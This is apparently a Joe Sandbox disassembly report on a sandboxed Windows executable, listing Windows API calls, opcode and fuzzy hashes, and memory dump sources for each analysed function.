                                                                                                                                                                                                                                      • Instruction ID: d62689c7b7995b9893119ef97773413105dd68debc8ff02f2d4f9d8a28cc91ff
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4ba9105902ea8f19abce0b58cfd6361b4b3e39fae621ffe28cce2eb109bf1346
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DD31B270F04258AEDB11DFA6DD42BAEBBB9EB49304F91407BE501E6280D6785E01CA2D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateProcessA.KERNEL32(00000000,00000000,?,?,004580C8,00000000,004580B0,?,?,?,00000000,00452862,?,?,?,00000001), ref: 0045283C
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,?,?,004580C8,00000000,004580B0,?,?,?,00000000,00452862,?,?,?,00000001), ref: 00452844
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateErrorLastProcess
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2919029540-0
                                                                                                                                                                                                                                      • Opcode ID: 32d7980bd8ec2bee900e92c865b72ef71cfaa45d55aa0c85c0401d49ed696f28
                                                                                                                                                                                                                                      • Instruction ID: fcc055d8c1a696a2a0db1e32a085008d871673fec5534948229a16d4440eefa6
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 32d7980bd8ec2bee900e92c865b72ef71cfaa45d55aa0c85c0401d49ed696f28
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A2113C72600208AF8B40DEA9DD41D9F77ECEB4E310B114567FD18D3241D678EE148B68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040ADF2
                                                                                                                                                                                                                                      • FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040AF4F,00000000,0040AF67,?,?,?,00000000), ref: 0040AE03
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Resource$FindFree
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4097029671-0
                                                                                                                                                                                                                                      • Opcode ID: 724046dbf40c25189cee710f776ecaa222692b14a71540f68148777f5d1b7dbd
                                                                                                                                                                                                                                      • Instruction ID: 3d7a77417cef7b3885e8747e4544195f2de945da78ee84bb1155330bb8f828e3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 724046dbf40c25189cee710f776ecaa222692b14a71540f68148777f5d1b7dbd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0301F771300700AFD700FF69EC52E1B77EDDB46714710807AF500AB3D1D639AC10966A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 0041EEF3
                                                                                                                                                                                                                                      • EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Thread$CurrentEnumWindows
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2396873506-0
                                                                                                                                                                                                                                      • Opcode ID: 30aad164e0a195eeb96462141dc827bf49acbc8680001675c00c89b7ac155170
                                                                                                                                                                                                                                      • Instruction ID: bcaa23655132f8f2785c0a842f21b48ac99b37e3223c43442b01e3940dbd0cdf
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 30aad164e0a195eeb96462141dc827bf49acbc8680001675c00c89b7ac155170
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 31015B76A04604BFD706CF6BEC1199ABBE8E789720B22887BEC04D3690E7355C10DF18
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MoveFileA.KERNEL32(00000000,00000000), ref: 00452CC2
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,00000000,00452CE8), ref: 00452CCA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileLastMove
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 55378915-0
                                                                                                                                                                                                                                      • Opcode ID: 92f277caa9c3c56662d1ce6f28aaa0531c95695199337b3952b9b7b9e7465d28
                                                                                                                                                                                                                                      • Instruction ID: 1f9035ddd188b097fe3d15476f32cd7793c58c8f4df07880d9fc6ba60e4ff235
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 92f277caa9c3c56662d1ce6f28aaa0531c95695199337b3952b9b7b9e7465d28
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9401D671A04208AB8712EB799D4149EB7ECEB8A32575045BBFC04E3243EA785E048558
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004527CF), ref: 004527A9
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,00000000,004527CF), ref: 004527B1
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateDirectoryErrorLast
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1375471231-0
                                                                                                                                                                                                                                      • Opcode ID: 6f9ba9aa6754c9e5f92aa980ec9340f602ab7068810135e8d813bbe39961caa9
                                                                                                                                                                                                                                      • Instruction ID: e3b373b60118a844676bb749001e6832c3b26a50706decb61b3ae2e0e224b701
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6f9ba9aa6754c9e5f92aa980ec9340f602ab7068810135e8d813bbe39961caa9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 40F02871A00308BBCB01EF759D4259EB7E8EB4E311B2045B7FC04E3642E6B94E04859C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • LoadCursorA.USER32(00000000,00007F00), ref: 00423249
                                                                                                                                                                                                                                      • LoadCursorA.USER32(00000000,00000000), ref: 00423273
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CursorLoad
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3238433803-0
                                                                                                                                                                                                                                      • Opcode ID: 0c9a104e89a33193f60416200903d3bd70bbd31149720632682593485f60625b
                                                                                                                                                                                                                                      • Instruction ID: 5e34cf6406f075c2c63d733b1f02ef4b9a88184ee1572dc0f3c8875cc615d59b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0c9a104e89a33193f60416200903d3bd70bbd31149720632682593485f60625b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9EF0A711B04254AADA109E7E6CC0D6B72A8DF82735B61037BFA3EC72D1C62E1D414569
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLibraryLoadMode
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2987862817-0
                                                                                                                                                                                                                                      • Opcode ID: 4bb5710dc3172506f3a82e57bec548632d1945d06b3d92e94bd16d63dfaa8550
                                                                                                                                                                                                                                      • Instruction ID: 14c2566281f292fbf4bc3f3871eddb8f7eb4f11f4d1149329263d7d1c8790498
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4bb5710dc3172506f3a82e57bec548632d1945d06b3d92e94bd16d63dfaa8550
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 02F08970B147447FDB119F779CA241BBBECDB49B1175249B6F800A3591E53C4910C928
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SHGetKnownFolderPath.SHELL32(00499D2C,00008000,00000000,?), ref: 0047C38B
                                                                                                                                                                                                                                      • CoTaskMemFree.OLE32(?,0047C3CE), ref: 0047C3C1
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FolderFreeKnownPathTask
                                                                                                                                                                                                                                      • String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
                                                                                                                                                                                                                                      • API String ID: 969438705-544719455
                                                                                                                                                                                                                                      • Opcode ID: f6c6a059b63e4d54008f1ffce5751a4521167e095c9041d7631769de42763c2c
                                                                                                                                                                                                                                      • Instruction ID: 7faaca218829a84c9f3570f99a5fa1a3454177a5e5567d2e8256f64c4bc7b3ab
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f6c6a059b63e4d54008f1ffce5751a4521167e095c9041d7631769de42763c2c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 77E09B31340604AFEB219B619C92B6D77ACE744B00B718477F900E26C0D67CAD14991C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(?,00000000,?,00000002,?,?,0046FFBD,?,00000000), ref: 0045090E
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,00000000,?,00000002,?,?,0046FFBD,?,00000000), ref: 00450916
                                                                                                                                                                                                                                        • Part of subcall function 004506B4: GetLastError.KERNEL32(004504D0,00450776,?,00000000,?,0049799C,00000001,00000000,00000002,00000000,00497AFD,?,?,00000005,00000000,00497B31), ref: 004506B7
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$FilePointer
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1156039329-0
                                                                                                                                                                                                                                      • Opcode ID: ec46a7bc9e5a7a34518fa7989fb6988307d7ef9dfce9dbcd61575ad1106d4b51
                                                                                                                                                                                                                                      • Instruction ID: 32d43412562f4d6ab64aa8be608e77008e370c57458e4df53f7444e76f76d0cb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ec46a7bc9e5a7a34518fa7989fb6988307d7ef9dfce9dbcd61575ad1106d4b51
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0EE012E93042015BF700EA6599C1B2F22DCDB44315F00446ABD44CA28BE678CC048B29
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017ED), ref: 00401513
                                                                                                                                                                                                                                      • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017ED), ref: 0040153A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Virtual$AllocFree
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2087232378-0
                                                                                                                                                                                                                                      • Opcode ID: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
                                                                                                                                                                                                                                      • Instruction ID: 119661fe7174a079321c86e78af40791ac039b5eb8373b45468023a5ba433726
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F7F08272A0063067EB60596A4C81B5359859BC5B94F154076FD09FF3E9D6B58C0142A9
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemDefaultLCID.KERNEL32(00000000,00408712), ref: 004085FB
                                                                                                                                                                                                                                        • Part of subcall function 00406DEC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00406E09
                                                                                                                                                                                                                                        • Part of subcall function 00408568: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DefaultInfoLoadLocaleStringSystem
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1658689577-0
                                                                                                                                                                                                                                      • Opcode ID: 92125e52594e5bc8ee6d97e09480d95589045c4468e862feaba19903f63d3f1d
                                                                                                                                                                                                                                      • Instruction ID: 9026c6f0acc6bf601755118861b832b1e3c4c92574a9a05948c89544872af2a3
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 92125e52594e5bc8ee6d97e09480d95589045c4468e862feaba19903f63d3f1d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 47314E35E00109ABCB00EB55CC819EEB779EF84314F558577E815BB286EB38AA018B98
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FC39
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: InfoScroll
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 629608716-0
                                                                                                                                                                                                                                      • Opcode ID: a0ce2aaa01497ac04468ea6ac7a83421c49688bcbeeff2d3e991700215f3b25f
                                                                                                                                                                                                                                      • Instruction ID: 6365c2cd079840e4170b7c9ce409c3d873e807bce8729d2e10e5c00059922083
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a0ce2aaa01497ac04468ea6ac7a83421c49688bcbeeff2d3e991700215f3b25f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D8214FB1608746AFC351DF3984407A6BBE4BB48344F14893EE498C3741E778E99ACBD6
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0041EEA4: GetCurrentThreadId.KERNEL32 ref: 0041EEF3
                                                                                                                                                                                                                                        • Part of subcall function 0041EEA4: EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9
                                                                                                                                                                                                                                      • SHPathPrepareForWriteA.SHELL32(00000000,00000000,00000000,00000000,00000000,0046C322,?,00000000,?,?,0046C534,?,00000000,0046C5A8), ref: 0046C306
                                                                                                                                                                                                                                        • Part of subcall function 0041EF58: IsWindow.USER32(?), ref: 0041EF66
                                                                                                                                                                                                                                        • Part of subcall function 0041EF58: EnableWindow.USER32(?,00000001), ref: 0041EF75
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ThreadWindow$CurrentEnableEnumPathPrepareWindowsWrite
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3319771486-0
                                                                                                                                                                                                                                      • Opcode ID: 372a16360b70271e3fbe54b3c8c2dd1bf1f72266d056807abca4c83ddb60c27c
                                                                                                                                                                                                                                      • Instruction ID: ca087fa44df162080e90021c0b7c07397410ce2cdc620b11c20c1b42f9b7769a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 372a16360b70271e3fbe54b3c8c2dd1bf1f72266d056807abca4c83ddb60c27c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 93F0B470204300BFEB059FA6ED96B2576D8D748714FA1443BF904C6290E57D5880852E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileWrite
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3934441357-0
